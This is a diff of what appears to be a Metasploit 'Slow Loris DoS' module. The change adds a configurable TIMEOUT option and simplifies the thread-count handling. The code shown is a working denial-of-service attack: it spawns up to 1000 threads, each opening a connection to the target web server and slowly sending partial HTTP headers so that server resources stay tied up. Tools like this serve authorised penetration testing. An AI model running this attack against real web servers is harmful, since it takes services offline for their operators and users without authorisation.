@@ -12,7 +12,7 @@ def initialize(info = {})
12
12
info ,
13
13
'Name' => 'Slow Loris DoS' ,
14
14
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15
- It accomplishes this by opening connections to the target web server and sending a partial request.
15
+ It accomplishes this by opening connections to the target web server and sending a partial request.
16
16
Periodically, it will send subsequent requests, adding to but never completing the request.} ,
17
17
'License' => MSF_LICENSE ,
18
18
'Author' =>
@@ -32,7 +32,8 @@ def initialize(info = {})
32
32
[
33
33
Opt ::RPORT ( 80 ) ,
34
34
OptInt . new ( 'THREADS' , [ true , 'The number of concurrent threads' , 1000 ] ) ,
35
- OptInt . new ( 'HEADERS' , [ true , 'The number of custom headers sent by each thread' , 10 ] )
35
+ OptInt . new ( 'HEADERS' , [ true , 'The number of custom headers sent by each thread' , 10 ] ) ,
36
+ OptInt . new ( 'TIMEOUT' , [ true , 'The maximum time in seconds to wait for each request to finish' , 15 ] )
36
37
] )
37
38
end
38
39
@@ -43,30 +44,34 @@ def thread_count
43
44
def headers
44
45
datastore [ 'HEADERS' ]
45
46
end
47
+
48
+ def timeout
49
+ datastore [ 'TIMEOUT' ]
50
+ end
46
51
47
52
def run
48
53
starting_thread = 1
49
54
header = "GET / HTTP/1.1\r \n "
50
55
threads = [ ]
51
-
56
+
52
57
loop do
53
- print_status ( "Executing requests #{ starting_thread } - #{ ( starting_thread + [ thread_count ] . min ) - 1 } ..." )
54
-
55
- 1 . upto ( [ thread_count ] . min ) do |i |
58
+ print_status ( "Executing requests #{ starting_thread } - #{ ( starting_thread + thread_count ) - 1 } ..." )
59
+
60
+ 1 . upto ( thread_count ) do |i |
56
61
threads << framework . threads . spawn ( "Module(#{ self . refname } )-request#{ ( starting_thread - 1 ) + i } " , false , i ) do |i |
57
62
begin
58
63
connect ( )
59
64
sock . puts ( header )
60
65
headers . times do
61
66
data = "X-a-#{ rand ( 0 ..1000 ) } : b\r \n "
62
67
sock . puts ( data )
63
- sleep rand ( 1 ..15 )
68
+ sleep rand ( 1 ..timeout )
64
69
end
65
70
end
66
71
end
67
72
end
68
73
threads . each ( &:join )
69
- starting_thread += [ thread_count ] . min
74
+ starting_thread += thread_count
70
75
end
71
76
end
72
77
end
0 commit comments